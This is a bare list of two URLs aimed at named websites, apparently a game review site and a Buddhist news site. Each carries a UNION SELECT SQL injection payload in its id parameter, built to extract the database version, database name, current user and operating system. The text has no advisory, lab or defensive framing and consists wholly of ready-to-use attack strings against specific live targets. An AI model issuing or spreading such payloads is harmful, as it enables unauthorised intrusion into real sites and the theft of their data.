http://www.game-over.net/reviews.php?id=-898%27+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user%28%29,@@version_compile_os),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49--+

http://www.dhammaweb.net/dhamma_news/view.php?id=-16+union+select+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16--+